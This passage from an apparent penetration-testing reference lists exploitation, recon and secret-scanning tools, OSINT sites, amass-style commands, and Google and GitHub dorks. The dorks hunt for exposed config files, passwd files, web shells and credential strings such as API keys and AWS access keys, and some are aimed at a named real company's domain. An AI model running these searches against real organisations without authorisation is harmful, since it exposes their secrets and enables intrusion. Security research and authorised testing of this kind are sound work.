- BurpJSLinkFinder - Burp Extension for a passive scanning JS files for endpoint links.
- urlgrab - A golang utility to spider through a website searching for additional links.
- waybackurls - Fetch all the URLs that the Wayback Machine knows about for a domain
- gau - Fetch known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl.
- getJS - A tool to fastly get all javascript sources/files
- linx - Reveals invisible links within JavaScript files
- waymore - Find way more from the Wayback Machine!
- xnLinkFinder - A python tool used to discover endpoints, potential parameters, and a target specific wordlist for a given target
Parameters
- parameth - This tool can be used to brute discover GET and POST parameters
- param-miner - This extension identifies hidden, unlinked parameters. It's particularly useful for finding web cache poisoning vulnerabilities.
- ParamPamPam - This tool for brute discover GET and POST parameters.
- Arjun - HTTP parameter discovery suite.
- ParamSpider - Mining parameters from dark corners of Web Archives.
- x8 - Hidden parameters discovery suite written in Rust.
Fuzzing
- wfuzz - Web application fuzzer
- ffuf - Fast web fuzzer written in Go
- fuzzdb - Dictionary of attack patterns and primitives for black-box application fault injection and resource discovery.
- IntruderPayloads - A collection of Burpsuite Intruder payloads, BurpBounty payloads, fuzz lists, malicious file uploads and web pentesting methodologies and checklists.
- fuzz.txt - Potentially dangerous files
- fuzzilli - A JavaScript Engine Fuzzer
- fuzzapi - Fuzzapi is a tool used for REST API pentesting and uses API_Fuzzer gem
- qsfuzz - qsfuzz (Query String Fuzz) allows you to build your own rules to fuzz query strings and easily identify vulnerabilities.
- vaf - very advanced (web) fuzzer written in Nim.
Exploitation
Lorem ipsum dolor sit amet
Command Injection
- commix - Automated All-in-One OS command injection and exploitation tool.
CORS Misconfiguration
- Corsy - CORS Misconfiguration Scanner
- CORStest - A simple CORS misconfiguration scanner
- cors-scanner - A multi-threaded scanner that helps identify CORS flaws/misconfigurations
- CorsMe - Cross Origin Resource Sharing MisConfiguration Scanner
CRLF Injection
- CRLFsuite - A fast tool specially designed to scan CRLF injection
- crlfuzz - A fast tool to scan CRLF vulnerability written in Go
- CRLF-Injection-Scanner - Command line tool for testing CRLF injection on a list of domains.
- Injectus - CRLF and open redirect fuzzer
CSRF Injection
- XSRFProbe -The Prime Cross Site Request Forgery (CSRF) Audit and Exploitation Toolkit.
Directory Traversal
- dotdotpwn - DotDotPwn - The Directory Traversal Fuzzer
- FDsploit - File Inclusion & Directory Traversal fuzzing, enumeration & exploitation tool.
- off-by-slash - Burp extension to detect alias traversal via NGINX misconfiguration at scale.
- liffier - tired of manually add dot-dot-slash to your possible path traversal? this short snippet will increment ../ on the URL.
File Inclusion
- liffy - Local file inclusion exploitation tool
- Burp-LFI-tests - Fuzzing for LFI using Burpsuite
- LFI-Enum - Scripts to execute enumeration via LFI
- LFISuite - Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner
- LFI-files - Wordlist to bruteforce for LFI
GraphQL Injection
- inql - InQL - A Burp Extension for GraphQL Security Testing
- GraphQLmap - GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes.
- shapeshifter - GraphQL security testing tool
- graphql_beautifier - Burp Suite extension to help make Graphql request more readable
- clairvoyance - Obtain GraphQL API schema despite disabled introspection!
Header Injection
- headi - Customisable and automated HTTP header injection.
Insecure Deserialization
- ysoserial - A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
- GadgetProbe - Probe endpoints consuming Java serialized objects to identify classes, libraries, and library versions on remote Java classpaths.
- ysoserial.net - Deserialization payload generator for a variety of .NET formatters
- phpggc - PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.
Insecure Direct Object References
- Autorize - Automatic authorization enforcement detection extension for burp suite written in Jython developed by Barak Tawily
Open Redirect
- Oralyzer - Open Redirection Analyzer
- Injectus - CRLF and open redirect fuzzer
- dom-red - Small script to check a list of domains against open redirect vulnerability
- OpenRedireX - A Fuzzer for OpenRedirect issues
Race Condition
- razzer - A Kernel fuzzer focusing on race bugs
- racepwn - Race Condition framework
- requests-racer - Small Python library that makes it easy to exploit race conditions in web apps with Requests.
- turbo-intruder - Turbo Intruder is a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results.
- race-the-web - Tests for race conditions in web applications. Includes a RESTful API to integrate into a continuous integration pipeline.
Request Smuggling
- http-request-smuggling - HTTP Request Smuggling Detection Tool
- smuggler - Smuggler - An HTTP Request Smuggling / Desync testing tool written in Python 3
- h2csmuggler - HTTP Request Smuggling over HTTP/2 Cleartext (h2c)
- tiscripts - These scripts I use to create Request Smuggling Desync payloads for CLTE and TECL style attacks.
Server Side Request Forgery
- SSRFmap - Automatic SSRF fuzzer and exploitation tool
- Gopherus - This tool generates gopher link for exploiting SSRF and gaining RCE in various servers
- ground-control - A collection of scripts that run on my web server. Mainly for debugging SSRF, blind XSS, and XXE vulnerabilities.
- SSRFire - An automated SSRF finder. Just give the domain name and your server and chill! ;) Also has options to find XSS and open redirects
- httprebind - Automatic tool for DNS rebinding-based SSRF attacks
- ssrf-sheriff - A simple SSRF-testing sheriff written in Go
- B-XSSRF - Toolkit to detect and keep track on Blind XSS, XXE & SSRF
- extended-ssrf-search - Smart ssrf scanner using different methods like parameter brute forcing in post and get...
- gaussrf - Fetch known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl and Filter Urls With OpenRedirection or SSRF Parameters.
- ssrfDetector - Server-side request forgery detector
- grafana-ssrf - Authenticated SSRF in Grafana
- sentrySSRF - Tool to searching sentry config on page or in javascript files and check blind SSRF
- lorsrf - Bruteforcing on Hidden parameters to find SSRF vulnerability using GET and POST Methods
- singularity - A DNS rebinding attack framework.
- whonow - A "malicious" DNS server for executing DNS Rebinding attacks on the fly (public instance running on rebind.network:53)
- dns-rebind-toolkit - A front-end JavaScript toolkit for creating DNS rebinding attacks.
- dref - DNS Rebinding Exploitation Framework
- rbndr - Simple DNS Rebinding Service
- httprebind - Automatic tool for DNS rebinding-based SSRF attacks
- dnsFookup - DNS rebinding toolkit
- surf - Escalate your SSRF vulnerabilities on Modern Cloud Environments.
surf
allows you to filter a list of hosts, returning a list of viable SSRF candidates.
SQL Injection
- sqlmap - Automatic SQL injection and database takeover tool
- NoSQLMap - Automated NoSQL database enumeration and web application exploitation tool.
- SQLiScanner - Automatic SQL injection with Charles and sqlmap api
- SleuthQL - Python3 Burp History parsing tool to discover potential SQL injection points. To be used in tandem with SQLmap.
- mssqlproxy - mssqlproxy is a toolkit aimed to perform lateral movement in restricted environments through a compromised Microsoft SQL Server via socket reuse
- sqli-hunter - SQLi-Hunter is a simple HTTP / HTTPS proxy server and a SQLMAP API wrapper that makes digging SQLi easy.
- waybackSqliScanner - Gather urls from wayback machine then test each GET parameter for sql injection.
- ESC - Evil SQL Client (ESC) is an interactive .NET SQL console client with enhanced SQL Server discovery, access, and data exfiltration features.
- mssqli-duet - SQL injection script for MSSQL that extracts domain users from an Active Directory environment based on RID bruteforcing
- burp-to-sqlmap - Performing SQLInjection test on Burp Suite Bulk Requests using SQLMap
- BurpSQLTruncSanner - Messy BurpSuite plugin for SQL Truncation vulnerabilities.
- andor - Blind SQL Injection Tool with Golang
- Blinder - A python library to automate time-based blind SQL injection
- sqliv - massive SQL injection vulnerability scanner
- nosqli - NoSql Injection CLI tool, for finding vulnerable websites using MongoDB.
- ghauri - An advanced cross-platform tool that automates the process of detecting and exploiting SQL injection security flaws
XSS Injection
- XSStrike - Most advanced XSS scanner.
- xssor2 - XSS'OR - Hack with JavaScript.
- xsscrapy - XSS spider - 66/66 wavsep XSS detected
- sleepy-puppy - Sleepy Puppy XSS Payload Management Framework
- ezXSS - ezXSS is an easy way for penetration testers and bug bounty hunters to test (blind) Cross Site Scripting.
- xsshunter - The XSS Hunter service - a portable version of XSSHunter.com
- dalfox - DalFox(Finder Of XSS) / Parameter Analysis and XSS Scanning tool based on golang
- xsser - Cross Site "Scripter" (aka XSSer) is an automatic -framework- to detect, exploit and report XSS vulnerabilities in web-based applications.
- XSpear - Powerfull XSS Scanning and Parameter analysis tool&gem
- weaponised-XSS-payloads - XSS payloads designed to turn alert(1) into P1
- tracy - A tool designed to assist with finding all sinks and sources of a web application and display these results in a digestible manner.
- ground-control - A collection of scripts that run on my web server. Mainly for debugging SSRF, blind XSS, and XXE vulnerabilities.
- xssValidator - This is a burp intruder extender that is designed for automation and validation of XSS vulnerabilities.
- JSShell - An interactive multi-user web JS shell
- bXSS - bXSS is a utility which can be used by bug hunters and organizations to identify Blind Cross-Site Scripting.
- docem - Uility to embed XXE and XSS payloads in docx,odt,pptx,etc (OXML_XEE on steroids)
- XSS-Radar - XSS Radar is a tool that detects parameters and fuzzes them for cross-site scripting vulnerabilities.
- BruteXSS - BruteXSS is a tool written in python simply to find XSS vulnerabilities in web application.
- findom-xss - A fast DOM based XSS vulnerability scanner with simplicity.
- domdig - DOM XSS scanner for Single Page Applications
- femida - Automated blind-xss search for Burp Suite
- B-XSSRF - Toolkit to detect and keep track on Blind XSS, XXE & SSRF
- domxssscanner - DOMXSS Scanner is an online tool to scan source code for DOM based XSS vulnerabilities
- xsshunter_client - Correlated injection proxy tool for XSS Hunter
- extended-xss-search - A better version of my xssfinder tool - scans for different types of xss on a list of urls.
- xssmap - XSSMap 是一款基于 Python3 开发用于检测 XSS 漏洞的工具
- XSSCon - XSSCon: Simple XSS Scanner tool
- BitBlinder - BurpSuite extension to inject custom cross-site scripting payloads on every form/request submitted to detect blind XSS vulnerabilities
- XSSOauthPersistence - Maintaining account persistence via XSS and Oauth
- shadow-workers - Shadow Workers is a free and open source C2 and proxy designed for penetration testers to help in the exploitation of XSS and malicious Service Workers (SW)
- rexsser - This is a burp plugin that extracts keywords from response using regexes and test for reflected XSS on the target scope.
- xss-flare - XSS hunter on cloudflare serverless workers.
- Xss-Sql-Fuzz - burpsuite 插件对GP所有参数(过滤特殊参数)一键自动添加xss sql payload 进行fuzz
- vaya-ciego-nen - Detect, manage and exploit Blind Cross-site scripting (XSS) vulnerabilities.
- dom-based-xss-finder - Chrome extension that finds DOM based XSS vulnerabilities
- XSSTerminal - Develop your own XSS Payload using interactive typing
- xss2png - PNG IDAT chunks XSS payload generator
- XSSwagger - A simple Swagger-ui scanner that can detect old versions vulnerable to various XSS attacks
XXE Injection
- ground-control - A collection of scripts that run on my web server. Mainly for debugging SSRF, blind XSS, and XXE vulnerabilities.
- dtd-finder - List DTDs and generate XXE payloads using those local DTDs.
- docem - Uility to embed XXE and XSS payloads in docx,odt,pptx,etc (OXML_XEE on steroids)
- xxeserv - A mini webserver with FTP support for XXE payloads
- xxexploiter - Tool to help exploit XXE vulnerabilities
- B-XSSRF - Toolkit to detect and keep track on Blind XSS, XXE & SSRF
- XXEinjector - Tool for automatic exploitation of XXE vulnerability using direct and different out of band methods.
- oxml_xxe - A tool for embedding XXE/XML exploits into different filetypes
- metahttp - A bash script that automates the scanning of a target network for HTTP resources through XXE
SSTI Injection
- tplmap - Server-Side Template Injection and Code Injection Detection and Exploitation Tool
- SSTImap - Automatic SSTI detection tool with interactive interface
Miscellaneous
Lorem ipsum dolor sit amet
Passwords
- thc-hydra - Hydra is a parallelized login cracker which supports numerous protocols to attack.
- DefaultCreds-cheat-sheet - One place for all the default credentials to assist the Blue/Red teamers activities on finding devices with default password
- changeme - A default credential scanner.
- BruteX - Automatically brute force all services running on a target.
- patator - Patator is a multi-purpose brute-forcer, with a modular design and a flexible usage.
Secrets
- git-secrets - Prevents you from committing secrets and credentials into git repositories
- gitleaks - Scan git repos (or files) for secrets using regex and entropy
- truffleHog - Searches through git repositories for high entropy strings and secrets, digging deep into commit history
- gitGraber - gitGraber: monitor GitHub to search and find sensitive data in real time for different online services
- talisman - By hooking into the pre-push hook provided by Git, Talisman validates the outgoing changeset for things that look suspicious - such as authorization tokens and private keys.
- GitGot - Semi-automated, feedback-driven tool to rapidly search through troves of public data on GitHub for sensitive secrets.
- git-all-secrets - A tool to capture all the git secrets by leveraging multiple open source git searching tools
- github-search - Tools to perform basic search on GitHub.
- git-vuln-finder - Finding potential software vulnerabilities from git commit messages
- commit-stream - #OSINT tool for finding Github repositories by extracting commit logs in real time from the Github event API
- gitrob - Reconnaissance tool for GitHub organizations
- repo-supervisor - Scan your code for security misconfiguration, search for passwords and secrets.
- GitMiner - Tool for advanced mining for content on Github
- shhgit - Ah shhgit! Find GitHub secrets in real time
- detect-secrets - An enterprise friendly way of detecting and preventing secrets in code.
- rusty-hog - A suite of secret scanners built in Rust for performance. Based on TruffleHog
- whispers - Identify hardcoded secrets and dangerous behaviours
- yar - Yar is a tool for plunderin' organizations, users and/or repositories.
- dufflebag - Search exposed EBS volumes for secrets
- secret-bridge - Monitors Github for leaked secrets
- earlybird - EarlyBird is a sensitive data detection tool capable of scanning source code repositories for clear text password violations, PII, outdated cryptography methods, key files and more.
- Trufflehog-Chrome-Extension - Trufflehog-Chrome-Extension
- noseyparker - Nosey Parker is a command-line program that finds secrets and sensitive information in textual data and Git history.
Git
- GitTools - A repository with 3 tools for pwn'ing websites with .git repositories available
- gitjacker - Leak git repositories from misconfigured websites
- git-dumper - A tool to dump a git repository from a website
- GitHunter - A tool for searching a Git repository for interesting content
- dvcs-ripper - Rip web accessible (distributed) version control systems: SVN/GIT/HG...
- Gato (Github Attack TOolkit) - GitHub Self-Hosted Runner Enumeration and Attack Tool
Buckets
- S3Scanner - Scan for open AWS S3 buckets and dump the contents
- AWSBucketDump - Security Tool to Look For Interesting Files in S3 Buckets
- CloudScraper - CloudScraper: Tool to enumerate targets in search of cloud resources. S3 Buckets, Azure Blobs, Digital Ocean Storage Space.
- s3viewer - Publicly Open Amazon AWS S3 Bucket Viewer
- festin - FestIn - S3 Bucket Weakness Discovery
- s3reverse - The format of various s3 buckets is convert in one format. for bugbounty and security testing.
- mass-s3-bucket-tester - This tests a list of s3 buckets to see if they have dir listings enabled or if they are uploadable
- S3BucketList - Firefox plugin that lists Amazon S3 Buckets found in requests
- dirlstr - Finds Directory Listings or open S3 buckets from a list of URLs
- Burp-AnonymousCloud - Burp extension that performs a passive scan to identify cloud buckets and then test them for publicly accessible vulnerabilities
- kicks3 - S3 bucket finder from html,js and bucket misconfiguration testing tool
- 2tearsinabucket - Enumerate s3 buckets for a specific target.
- s3_objects_check - Whitebox evaluation of effective S3 object permissions, to identify publicly accessible files.
- s3tk - A security toolkit for Amazon S3
- CloudBrute - Awesome cloud enumerator
- s3cario - This tool will get the CNAME first if it's a valid Amazon s3 bucket and if it's not, it will try to check if the domain is a bucket name.
- S3Cruze - All-in-one AWS S3 bucket tool for pentesters.
CMS
- wpscan - WPScan is a free, for non-commercial use, black box WordPress security scanner
- WPSpider - A centralized dashboard for running and scheduling WordPress scans powered by wpscan utility.
- wprecon - Wordpress Recon
- CMSmap - CMSmap is a python open source CMS scanner that automates the process of detecting security flaws of the most popular CMSs.
- joomscan - OWASP Joomla Vulnerability Scanner Project
- pyfiscan - Free web-application vulnerability and version scanner
- aemhacker - Tools to identify vulnerable Adobe Experience Manager (AEM) webapps.
- aemscan - Adobe Experience Manager Vulnerability Scanner
JSON Web Token
- jwt_tool - A toolkit for testing, tweaking and cracking JSON Web Tokens
- c-jwt-cracker - JWT brute force cracker written in C
- jwt-heartbreaker - The Burp extension to check JWT (JSON Web Tokens) for using keys from known from public sources
- jwtear - Modular command-line tool to parse, create and manipulate JWT tokens for hackers
- jwt-key-id-injector - Simple python script to check against hypothetical JWT vulnerability.
- jwt-hack - jwt-hack is tool for hacking / security testing to JWT.
- jwt-cracker - Simple HS256 JWT token brute force cracker
postMessage
- postMessage-tracker - A Chrome Extension to track postMessage usage (url, domain and stack) both by logging using CORS and also visually as an extension-icon
- PostMessage_Fuzz_Tool - #BugBounty #BugBounty Tools #WebDeveloper Tool
Subdomain Takeover
- subjack - Subdomain Takeover tool written in Go
- SubOver - A Powerful Subdomain Takeover Tool
- autoSubTakeover - A tool used to check if a CNAME resolves to the scope address. If the CNAME resolves to a non-scope address it might be worth checking out if subdomain takeover is possible.
- NSBrute - Python utility to takeover domains vulnerable to AWS NS Takeover
- can-i-take-over-xyz - "Can I take over XYZ?" — a list of services and how to claim (sub)domains with dangling DNS records.
- cnames - take a list of resolved subdomains and output any corresponding CNAMES en masse.
- subHijack - Hijacking forgotten & misconfigured subdomains
- tko-subs - A tool that can help detect and takeover subdomains with dead DNS records
- HostileSubBruteforcer - This app will bruteforce for exisiting subdomains and provide information if the 3rd party host has been properly setup.
- second-order - Second-order subdomain takeover scanner
- takeover - A tool for testing subdomain takeover possibilities at a mass scale.
- dnsReaper - DNS Reaper is yet another sub-domain takeover tool, but with an emphasis on accuracy, speed and the number of signatures in our arsenal!
Vulnerability Scanners
- nuclei - Nuclei is a fast tool for configurable targeted scanning based on templates offering massive extensibility and ease of use.
- Sn1per - Automated pentest framework for offensive security experts
- metasploit-framework - Metasploit Framework
- nikto - Nikto web server scanner
- arachni - Web Application Security Scanner Framework
- jaeles - The Swiss Army knife for automated Web Application Testing
- retire.js - scanner detecting the use of JavaScript libraries with known vulnerabilities
- Osmedeus - Fully automated offensive security framework for reconnaissance and vulnerability scanning
- getsploit - Command line utility for searching and downloading exploits
- flan - A pretty sweet vulnerability scanner
- Findsploit - Find exploits in local and online databases instantly
- BlackWidow - A Python based web application scanner to gather OSINT and fuzz for OWASP vulnerabilities on a target website.
- backslash-powered-scanner - Finds unknown classes of injection vulnerabilities
- Eagle - Multithreaded Plugin based vulnerability scanner for mass detection of web-based applications vulnerabilities
- cariddi - Take a list of domains, crawl urls and scan for endpoints, secrets, api keys, file extensions, tokens and more...
- OWASP ZAP - World’s most popular free web security tools and is actively maintained by a dedicated international team of volunteers
- SSTImap - SSTImap is a penetration testing software that can check websites for Code Injection and Server-Side Template Injection vulnerabilities and exploit them, giving access to the operating system itself.
Useful
- anew - A tool for adding new lines to files, skipping duplicates
- gf - A wrapper around grep, to help you grep for things
- uro - declutters url lists for crawling/pentesting
- unfurl - Pull out bits of URLs provided on stdin
- qsreplace - Accept URLs on stdin, replace all query string values with a user-supplied value
Uncategorized
- JSONBee - A ready to use JSONP endpoints/payloads to help bypass content security policy (CSP) of different websites.
- CyberChef - The Cyber Swiss Army Knife - a web app for encryption, encoding, compression and data analysis
- -
- bountyplz - Automated security reporting from markdown templates (HackerOne and Bugcrowd are currently the platforms supported)
- PayloadsAllTheThings - A list of useful payloads and bypass for Web Application Security and Pentest/CTF
- bounty-targets-data - This repo contains hourly-updated data dumps of bug bounty platform scopes (like Hackerone/Bugcrowd/Intigriti/etc) that are eligible for reports
- android-security-awesome - A collection of android security related resources
- awesome-mobile-security - An effort to build a single place for all useful android and iOS security related stuff.
- awesome-vulnerable-apps - Awesome Vulnerable Applications
- XFFenum - X-Forwarded-For [403 forbidden] enumeration
- httpx - httpx is a fast and multi-purpose HTTP toolkit allow to run multiple probers using retryablehttp library, it is designed to maintain the result reliability with increased threads.
- csprecon - Discover new target domains using Content Security Policy
Public info gathering
OSINT resources
https://osintframework.com/
https://i-intelligence.eu/uploads/public-documents/OSINT_Handbook_2020.pdf
https://start.me/p/DPYPMz/the-ultimate-osint-collection
https://docs.google.com/spreadsheets/d/18rtqh8EG2q1xBo2cLNyhIDuK9jrPGwYr9DI2UncoqJQ
https://cipher387.github.io/
OSINT websites
# Multipurpose
https://shodan.io/
https://censys.io/
https://onyphe.io/
https://app.netlas.io/
https://hunter.how/
https://fofa.so/
https://fullhunt.io/
https://www.zoomeye.org/
https://www.criminalip.io/
https://leakix.net/
https://www.yougetsignal.com/
https://intelx.io/
https://pentest-tools.com/
https://gofindwhois.com/
https://gofindwho.com/
# Track website changes
https://visualping.io/
https://web.archive.org
# Companies info
https://opencorporates.com/companies
# Domain Recon
https://www.robtex.com/
https://centralops.net
https://viewdns.info/
https://phpinfo.me/domain
http://bgp.he.net/
https://bgpview.io/
https://suip.biz/
https://dnsdumpster.com/
https://www.whoxy.com/
http://ipv4info.com/
https://rapiddns.io/
https://myip.ms/
https://www.reversewhois.io/?
https://www.whoxy.com/reverse-whois/
https://reverse-whois.whoisxmlapi.com/api
https://host.io/dashboard
https://completedns.com/dns-history/
# Analytics
https://mmhdan.herokuapp.com/
https://publicwww.com/
https://intelx.io/tools?tab=analytics
https://dnslytics.com/reverse-analytics
https://builtwith.com/
# Mailserver blacklists
http://multirbl.valli.org/
# Verify emails
https://tools.emailhippo.com/
# Dark web exposure
https://immuniweb.com/radar/
# New acquisitions
https://crunchbase.com/
# Public APIs
https://www.postman.com/explore/
https://rapidapi.com/
# APIs Recon
https://serene-agnesi-57a014.netlify.app/
# Exif Data
https://exif-viewer.com
General / AIO
# https://github.com/OWASP/Amass
# Get ASN
amass intel -org "whatever"
# Reverse whois
amass intel -active -asn NUMBER -whois -d domain.com
# SSL Cert Grabbing
amass enum -active -d example.com -cidr IF.YOU.GOT.THIS/24 -asn NUMBER
# https://github.com/smicallef/spiderfoot
spiderfoot -s domain.com
# https://github.com/j3ssie/Osmedeus
python3 osmedeus.py -t example.com
# https://github.com/thewhiteh4t/FinalRecon
python3 finalrecon.py --full https://example.com
# https://github.com/laramies/theHarvester
theHarvester -d domain.com -b all
# https://github.com/lanmaster53/recon-ng
recon-ng
Whois/Registrant Tools
# https://github.com/jpf/domain-profiler
./profile target.com
# Standard whois tool
whois
# Whoxy api
# https://www.whoxy.com/
# Whoxy clients
# https://github.com/MilindPurswani/whoxyrm
# https://github.com/vysecurity/DomLink
# Registrant's domains related
# https://github.com/harleo/knockknock
knockknock -n "companyORregistrant" -p
# Bulk whois
# https://github.com/melbadry9/WhoEnum
Dorks
https://github.com/cipher387/Dorks-collections-list
Tools
# Google Dorks Cli
# https://github.com/six2dez/dorks_hunter
python3 dorks_hunter.py -d domain.com
# Google Dork builder
http://advangle.com/
Dorks
# Google dorks helper
https://dorks.faisalahmed.me/
# Ip search by dorking
https://0iq.me/gip/
# Code share sites
site:http://ideone.com | site:http://codebeautify.org | site:http://codeshare.io | site:http://codepen.io | site:http://repl.it | site:http://jsfiddle.net "company"
# GitLab/GitHub/Bitbucket
site:github.com | site:gitlab.com | site:bitbucket.org "company"
# Stackoverflow
site:stackoverflow.com "target.com"
# Project management sites
site:http://trello.com | site:*.atlassian.net "company"
# Pastebin-like sites
site:http://justpaste.it | site:http://pastebin.com "company"
# Config files
site:target.com ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:rdp | ext:cfg | ext:txt | ext:ora | ext:env | ext:ini
# Database files
site:target.com ext:sql | ext:dbf | ext:mdb
# Backup files
site:target.com ext:bkf | ext:bkp | ext:bak | ext:old | ext:backup
# .git folder
inurl:"/.git" target.com -github
# Exposed documents
site:target.com ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv
# Other files
site:target.com intitle:index.of | ext:log | ext:php intitle:phpinfo "published by the PHP Group" | inurl:shell | inurl:backdoor | inurl:wso | inurl:cmd | shadow | passwd | boot.ini | inurl:backdoor | inurl:readme | inurl:license | inurl:install | inurl:setup | inurl:config | inurl:"/phpinfo.php" | inurl:".htaccess" | ext:swf
# SQL errors
site:target.com intext:"sql syntax near" | intext:"syntax error has occurred" | intext:"incorrect syntax near" | intext:"unexpected end of SQL command" | intext:"Warning: mysql_connect()" | intext:"Warning: mysql_query()" | intext:"Warning: pg_connect()"
# PHP errors
site:target.com "PHP Parse error" | "PHP Warning" | "PHP Error"
# Login pages
site:target.com inurl:signup | inurl:register | intitle:Signup
# Open redirects
site:target.com inurl:redir | inurl:url | inurl:redirect | inurl:return | inurl:src=http | inurl:r=http
# Apache Struts RCE
site:target.com ext:action | ext:struts | ext:do
# Search in pastebin
site:pastebin.com target.com
# Linkedin employees
site:linkedin.com employees target.com
# Wordpress files
site:target.com inurl:wp-content | inurl:wp-includes
# Subdomains
site:*.target.com
# Sub-subdomains
site:*.*.target.com
#Find S3 Buckets
site:.s3.amazonaws.com | site:http://storage.googleapis.com | site:http://amazonaws.com "target"
# Traefik
intitle:traefik inurl:8080/dashboard "target"
# Jenkins
intitle:"Dashboard [Jenkins]"
# Other 3rd parties sites
https://www.google.com/search?q=site%3Agitter.im%20%7C%20site%3Apapaly.com%20%7C%20site%3Aproductforums.google.com%20%7C%20site%3Acoggle.it%20%7C%20site%3Areplt.it%20%7C%20site%3Aycombinator.com%20%7C%20site%3Alibraries.io%20%7C%20site%3Anpm.runkit.com%20%7C%20site%3Anpmjs.com%20%7C%20site%3Ascribd.com%20%22united%22
# Backup files
https://www.google.com/search?q=site%3Aunited.com%20ext%3Abkf%20%7C%20ext%3Abkp%20%7C%20ext%3Abak%20%7C%20ext%3Aold%20%7C%20ext%3Abackup
# Login pages
https://www.google.com/search?q=site%3Aunited.com%20inurl%3Asignup%20%7C%20inurl%3Aregister%20%7C%20intitle%3ASignup
# Config files
https://www.google.com/search?q=site%3Aunited.com%20ext%3Axml%20%7C%20ext%3Aconf%20%7C%20ext%3Acnf%20%7C%20ext%3Areg%20%7C%20ext%3Ainf%20%7C%20ext%3Ardp%20%7C%20ext%3Acfg%20%7C%20ext%3Atxt%20%7C%20ext%3Aora%20%7C%20ext%3Aenv%20%7C%20ext%3Aini
# .git folder
https://www.google.com/search?q=inurl%3A%5C%22%2F.git%5C%22%20united.com%20-github
# Database files
https://www.google.com/search?q=site%3Aunited.com%20ext%3Asql%20%7C%20ext%3Adbf%20%7C%20ext%3Amdb
# Open redirects
https://www.google.com/search?q=site%3Aunited.com%20inurl%3Aredir%20%7C%20inurl%3Aurl%20%7C%20inurl%3Aredirect%20%7C%20inurl%3Areturn%20%7C%20inurl%3Asrc%3Dhttp%20%7C%20inurl%3Ar%3Dhttp
# Code share sites
https://www.google.com/search?q=site%3Asharecode.io%20%7C%20site%3Acontrolc.com%20%7C%20site%3Acodepad.co%20%7Csite%3Aideone.com%20%7C%20site%3Acodebeautify.org%20%7C%20site%3Ajsdelivr.com%20%7C%20site%3Acodeshare.io%20%7C%20site%3Acodepen.io%20%7C%20site%3Arepl.it%20%7C%20site%3Ajsfiddle.net%20%22united%22
# Pastebin-like sites
https://www.google.com/search?q=site%3Ajustpaste.it%20%7C%20site%3Aheypasteit.com%20%7C%20site%3Apastebin.com%20%22united%22
# Linkedin employees
https://www.google.com/search?q=site%3Alinkedin.com%20employees%20united.com
# Project management sites
https://www.google.com/search?q=site%3Atrello.com%20%7C%20site%3A*.atlassian.net%20%22united%22
# Other files
https://www.google.com/search?q=site%3Aunited.com%20intitle%3Aindex.of%20%7C%20ext%3Alog%20%7C%20ext%3Aphp%20intitle%3Aphpinfo%20%5C%22published%20by%20the%20PHP%20Group%5C%22%20%7C%20inurl%3Ashell%20%7C%20inurl%3Abackdoor%20%7C%20inurl%3Awso%20%7C%20inurl%3Acmd%20%7C%20shadow%20%7C%20passwd%20%7C%20boot.ini%20%7C%20inurl%3Abackdoor%20%7C%20inurl%3Areadme%20%7C%20inurl%3Alicense%20%7C%20inurl%3Ainstall%20%7C%20inurl%3Asetup%20%7C%20inurl%3Aconfig%20%7C%20inurl%3A%5C%22%2Fphpinfo.php%5C%22%20%7C%20inurl%3A%5C%22.htaccess%5C%22%20%7C%20ext%3Aswf
# Sub-subdomains
https://www.google.com/search?q=site%3A*.*.united.com
# Jenkins
https://www.google.com/search?q=intitle%3A%5C%22Dashboard%20%5BJenkins%5D%5C%22%20%22united%22
# Traefik
https://www.google.com/search?q=intitle%3Atraefik%20inurl%3A8080%2Fdashboard%20%22united%22
# Cloud buckets S3/GCP
https://www.google.com/search?q=site%3A.s3.amazonaws.com%20%7C%20site%3Astorage.googleapis.com%20%7C%20site%3Aamazonaws.com%20%22united%22
# SQL errors
https://www.google.com/search?q=site%3Aunited.com%20intext%3A%5C%22sql%20syntax%20near%5C%22%20%7C%20intext%3A%5C%22syntax%20error%20has%20occurred%5C%22%20%7C%20intext%3A%5C%22incorrect%20syntax%20near%5C%22%20%7C%20intext%3A%5C%22unexpected%20end%20of%20SQL%20command%5C%22%20%7C%20intext%3A%5C%22Warning%3A%20mysql_connect()%5C%22%20%7C%20intext%3A%5C%22Warning%3A%20mysql_query()%5C%22%20%7C%20intext%3A%5C%22Warning%3A%20pg_connect()%5C%22
# Exposed documents
https://www.google.com/search?q=site%3Aunited.com%20ext%3Adoc%20%7C%20ext%3Adocx%20%7C%20ext%3Aodt%20%7C%20ext%3Apdf%20%7C%20ext%3Artf%20%7C%20ext%3Asxw%20%7C%20ext%3Apsw%20%7C%20ext%3Appt%20%7C%20ext%3Apptx%20%7C%20ext%3Apps%20%7C%20ext%3Acsv
# Wordpress files
https://www.google.com/search?q=site%3Aunited.com%20inurl%3Awp-content%20%7C%20inurl%3Awp-includes
# Apache Struts RCE
https://www.google.com/search?q=site%3Aunited.com%20ext%3Aaction%20%7C%20ext%3Astruts%20%7C%20ext%3Ado
# GitLab/GitHub/Bitbucket
https://www.google.com/search?q=site%3Agithub.com%20%7C%20site%3Agitlab.com%20%7C%20site%3Abitbucket.org%20%22united%22
# Subdomains
https://www.google.com/search?q=site%3A*.united.com
# Stackoverflow
https://www.google.com/search?q=site%3Astackoverflow.com%20%22united.com%22
# PHP errors
https://www.google.com/search?q=site%3Aunited.com%20%5C%22PHP%20Parse%20error%5C%22%20%7C%20%5C%22PHP%20Warning%5C%22%20%7C%20%5C%22PHP%20Error%5C%22
GitHub
Tools
#https://github.com/obheda12/GitDorker
python3 GitDorker.py -tf ~/Tools/.github_tokens -q united.com -p -ri -d Dorks/medium_dorks.txt
Dorks
".mlab.com password"
"access_key"
"access_token"
"amazonaws"
"api.googlemaps AIza"
"api_key"
"api_secret"
"apidocs"
"apikey"
"apiSecret"
"app_key"
"app_secret"
"appkey"
"appkeysecret"
"application_key"
"appsecret"
"appspot"
"auth"
"auth_token"
"authorizationToken"
"aws_access"
"aws_access_key_id"
"aws_key"
